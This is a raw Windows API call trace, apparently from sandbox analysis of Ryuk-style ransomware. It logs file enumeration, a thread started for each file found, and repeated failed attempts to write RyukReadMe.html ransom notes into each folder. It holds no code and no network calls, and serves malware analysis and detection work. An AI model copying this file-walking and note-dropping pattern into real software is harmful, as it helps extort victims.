	[0162.265] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218c328, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218c328, lpOverlapped=0x0) returned 0
	[0162.265] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0162.265] FindNextFileW (in: hFindFile=0x7c5d0, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fe00281, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fe00281, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fe00281, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x84, dwReserved1=0x0, cFileName="oskpred.xml", cAlternateFileName="")) returned 1
	[0162.265] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8680000
	[0162.267] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f490870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3b8
	[0162.268] VirtualFree (lpAddress=0x8680000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0162.269] FindNextFileW (in: hFindFile=0x7c5d0, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x84, dwReserved1=0x0, cFileName="symbols", cAlternateFileName="")) returned 1
	[0162.269] SetLastError (dwErrCode=0x0) 
	[0162.269] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0162.269] GetLastError () returned 0x5
	[0162.269] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218c328, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218c328, lpOverlapped=0x0) returned 0
	[0162.269] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0162.269] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\*.*", lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c630
	[0162.270] FindNextFileW (in: hFindFile=0x7c630, lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0162.270] FindNextFileW (in: hFindFile=0x7c630, lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dc0758, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1dc0758, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x900155a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2ed, dwReserved0=0xa0, dwReserved1=0x0, cFileName="ea-sym.xml", cAlternateFileName="")) returned 1
	[0162.270] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8680000
	[0162.271] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f493f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3c4
	[0162.272] VirtualFree (lpAddress=0x8680000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0162.273] FindNextFileW (in: hFindFile=0x7c630, lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d9a5fb, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d9a5fb, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x900155a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2ed, dwReserved0=0xa0, dwReserved1=0x0, cFileName="ja-jp-sym.xml", cAlternateFileName="")) returned 1
	[0162.273] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8680000
	[0162.273] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f497630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3c8
	[0162.275] VirtualFree (lpAddress=0x8680000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0162.275] FindNextFileW (in: hFindFile=0x7c630, lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9003b703, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x9003b703, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x90061861, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xacc, dwReserved0=0xa0, dwReserved1=0x0, cFileName="symbase.xml", cAlternateFileName="")) returned 1
	[0162.275] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8680000
	[0162.276] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3cc
	[0162.278] VirtualFree (lpAddress=0x8680000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0162.279] FindNextFileW (in: hFindFile=0x7c630, lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9003b703, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x9003b703, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x90061861, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xacc, dwReserved0=0xa0, dwReserved1=0x0, cFileName="symbase.xml", cAlternateFileName="")) returned 0
	[0162.279] FindClose (in: hFindFile=0x7c630 | out: hFindFile=0x7c630) returned 1
	[0162.279] SetLastError (dwErrCode=0x0) 
	[0162.279] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0162.280] GetLastError () returned 0x5
	[0162.280] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218c328, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218c328, lpOverlapped=0x0) returned 0
	[0162.280] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0162.280] FindNextFileW (in: hFindFile=0x7c5d0, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fe7269b, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fe7269b, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fe7269b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x24f, dwReserved0=0x84, dwReserved1=0x0, cFileName="symbols.xml", cAlternateFileName="")) returned 1
	[0162.280] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8680000
	[0162.281] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3c0
	[0162.282] VirtualFree (lpAddress=0x8680000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0162.283] FindNextFileW (in: hFindFile=0x7c5d0, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x84, dwReserved1=0x0, cFileName="web", cAlternateFileName="")) returned 1
	[0162.283] SetLastError (dwErrCode=0x0) 
	[0162.283] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0162.283] GetLastError () returned 0x5
	[0162.283] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218c328, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218c328, lpOverlapped=0x0) returned 0
	[0162.284] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0162.284] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\*.*", lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c630
	[0162.424] FindNextFileW (in: hFindFile=0x7c630, lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0162.424] FindNextFileW (in: hFindFile=0x7c630, lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x900d3c7b, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x900d3c7b, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x900f9dd9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x48e, dwReserved0=0xa0, dwReserved1=0x0, cFileName="webbase.xml", cAlternateFileName="")) returned 1
	[0162.424] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8680000
	[0162.425] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a1ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3d4
	[0162.427] VirtualFree (lpAddress=0x8680000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0162.427] FindNextFileW (in: hFindFile=0x7c630, lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x900d3c7b, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x900d3c7b, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x900f9dd9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x48e, dwReserved0=0xa0, dwReserved1=0x0, cFileName="webbase.xml", cAlternateFileName="")) returned 0
	[0162.428] FindClose (in: hFindFile=0x7c630 | out: hFindFile=0x7c630) returned 1
	[0162.428] SetLastError (dwErrCode=0x0) 
	[0162.428] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0162.428] GetLastError () returned 0x5
	[0162.428] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218c328, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218c328, lpOverlapped=0x0) returned 0
	[0162.429] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0162.429] FindNextFileW (in: hFindFile=0x7c5d0, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90061861, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x90061861, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x90061861, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xcf, dwReserved0=0x84, dwReserved1=0x0, cFileName="web.xml", cAlternateFileName="")) returned 1
	[0162.429] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8680000
	[0162.430] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a51b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3d0
	[0162.432] VirtualFree (lpAddress=0x8680000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0162.432] FindNextFileW (in: hFindFile=0x7c5d0, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90061861, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x90061861, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x90061861, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xcf, dwReserved0=0x84, dwReserved1=0x0, cFileName="web.xml", cAlternateFileName="")) returned 0
	[0162.433] FindClose (in: hFindFile=0x7c5d0 | out: hFindFile=0x7c5d0) returned 1
	[0162.433] SetLastError (dwErrCode=0x0) 
	[0162.433] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0162.433] GetLastError () returned 0x5
	[0162.433] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0162.433] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0162.434] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="he-IL", cAlternateFileName="")) returned 1
	[0162.434] SetLastError (dwErrCode=0x0) 
	[0162.434] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0162.434] GetLastError () returned 0x5
	[0162.434] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0162.434] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0162.434] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\*.*", lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x84, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c5d0
	[0162.435] FindNextFileW (in: hFindFile=0x7c5d0, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x84, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0162.435] FindNextFileW (in: hFindFile=0x7c5d0, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2bbf40b, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2dd4721, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2dd4721, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x84, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0162.435] FindNextFileW (in: hFindFile=0x7c5d0, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2bbf40b, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2dd4721, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2dd4721, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x84, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0
	[0162.436] FindClose (in: hFindFile=0x7c5d0 | out: hFindFile=0x7c5d0) returned 1
	[0162.443] SetLastError (dwErrCode=0x0) 
	[0162.443] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\he-il\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0162.443] GetLastError () returned 0x5
	[0162.443] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0162.444] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0162.444] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="hr-HR", cAlternateFileName="")) returned 1
	[0162.444] SetLastError (dwErrCode=0x0) 
	[0162.444] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0162.444] GetLastError () returned 0x5
	[0162.444] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0162.444] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0162.444] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\*.*", lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x84, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c5d0
	[0162.445] FindNextFileW (in: hFindFile=0x7c5d0, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x84, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0162.445] FindNextFileW (in: hFindFile=0x7c5d0, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe50f08dd, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe539e167, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe539e167, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x84, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0162.445] FindNextFileW (in: hFindFile=0x7c5d0, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe50f08dd, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe539e167, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe539e167, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x84, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0
	[0162.446] FindClose (in: hFindFile=0x7c5d0 | out: hFindFile=0x7c5d0) returned 1
	[0162.446] SetLastError (dwErrCode=0x0) 
	[0162.446] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hr-hr\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0162.446] GetLastError () returned 0x5
	[0162.446] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0162.446] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0162.446] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1
	[0162.446] SetLastError (dwErrCode=0x0) 
	[0162.446] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
